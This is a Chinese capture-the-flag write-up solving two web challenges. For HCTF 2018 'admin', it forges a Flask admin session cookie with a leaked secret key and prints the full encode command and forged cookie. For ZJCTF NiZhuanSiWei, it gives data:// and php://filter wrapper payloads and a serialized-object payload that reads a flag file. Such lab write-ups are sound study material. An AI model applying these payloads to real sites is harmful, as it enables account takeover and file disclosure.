[HCTF 2018]admin和[ZJCTF 2019]NiZhuanSiWei
打开题目

题目是admin肯定是让我登陆admin账号然后就可以得到flag
于是我进入登陆界面尝试用sql注入,多次尝试发现失败,没法sql注入

于是我改变思路,我发现这边有注册按钮,于是我尝试注册一个测试账号。

<!-- you are not admin -->
我去找了发送头和响应头
发现cookie里面有
session=.eJw90E-LwjAQBfCvsszZQ5Pa_SN4EOqWCJNQiC2Ti7haTdPGhapYI373rbI41wc_3psbrHZddbQwOXXnagSreguTG7z9wASMw1ilm166nBlPvdJzTq6w6ESM5XeDvHAUbEOhrVHjBfkyyDQP0s0Z-TyRmWAyYE-lqYnnidL5hULhjVu0NNikm1iWspV626p0OValSJ6WE2OVSae0tZgWLXFiMrU1ZoORigtm8yvpojZecMxkM_Sbwn0Em2O3W51-m-rwmkBacOM2ET2ocmEpEFN6xtHte_RLjjq_Il84o2fRowoG6zGfPrnar_fVS0JXJOo_Oaz9EADj8Th5__j8ioaDEZyPVff8H7AI7n-icW1L.YcKyJQ.u-BsH6MhsfPQiGnn4KJQkEcpGuw
cookie是服务器用来识别用户身份的
然后继续找信息
所有网页源代码查看以后终于在change password里面发现了东西
<!-- https://github.com/woadsl1234/hctf_flask/ -->
很明显提示我们是flask写的登陆之类的。
于是我打开链接下载下来,得到一堆文件。
打开routes.py我发现这是登陆,注册,改密码的源代码

然后再config.py里面找到了
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
很明显要用flask session伪造
于是我去网上找了flask解密脚本和加密脚本。
把session解密如下:

{'_fresh': True, '_id': b'f37871645ff1916b5a2271ad3ecc8dc9b1303e3443615bd94b5731afbcd9940c5ff2eb37a975ce57e8589b9c9b2288cc98a05ecf548b0d98200a2a5bfb60cd64', 'csrf_token': b'a26f74a8a1bac659062812e61423bce045ce38f1', 'image': b'25y9', 'name': '1234567890000', 'user_id': '10'}
然后把name后面的那个改成admin
运行脚本
python3 flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'f37871645ff1916b5a2271ad3ecc8dc9b1303e3443615bd94b5731afbcd9940c5ff2eb37a975ce57e8589b9c9b2288cc98a05ecf548b0d98200a2a5bfb60cd64', 'csrf_token': b'a26f74a8a1bac659062812e61423bce045ce38f1', 'image': b'25y9', 'name': 'admin', 'user_id': '10'}"
.eJw90EGLwjAUBOC_sryzBxvtpeBBqFsivIRAbHm5iKvVJG26UBVrxP--VRbPAx8z84Dtsa_PFrJLf60nsHUHyB7w9QMZGI8zme8H4VViAg1Srxj50qLnM6y-G2Slp2gbiq1DjTdkmyhyFYVfJRRUKgqeiIgDVcYRU6nU6kaxDMavWxpt0s1MVKIV-tDKfDOXFU_fludzWQgvtbWYly0xSkRuHRajkfMbFqs76dKZwBkWohn7LeA5gf25P24vv03dfSaQ5sz4_ZReVLW2FCmResnQnwYMG4Za3ZGtvdHL6asKRhtQLd6cC7tT_ZHQl6n8T7pdGAPYHYLrYALXc92_f4NkCs8_XVtstw.YcKvtA.qshKWIcCFrM_6Zlt5UtFfi7MO18
于是把cookie里面session改成得到的就得到

知识:
因为是储存在本地,所以能够进行修改来达到欺骗服务器的程度
[ZJCTF 2019]NiZhuanSiWei
打开题目

首先由
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
要求文件里面内容要求是 welcome to the zjctf(不过函数里面那个'r'是什么意思我不太清楚,也没查到,不过我推测跟python里面读文件出现的r可能一样)
于是采用data://协议读入
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
得到如下:

然后再采用 filter 读取文件
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/convert.base64-encode/resource=useless.php
得到如下:

然后base64解码得到
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
然后再采用php在线编译工具来得到password的payload

即payload:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A7%3A%22flagphp%22%3B%7D
于是得到

查看源代码发现flag在源代码里面

flag{2c6fb606-9b9b-4b8d-986d-e2a4c2d386ba}
知识:
php伪协议

浙公网安备 33010602011771号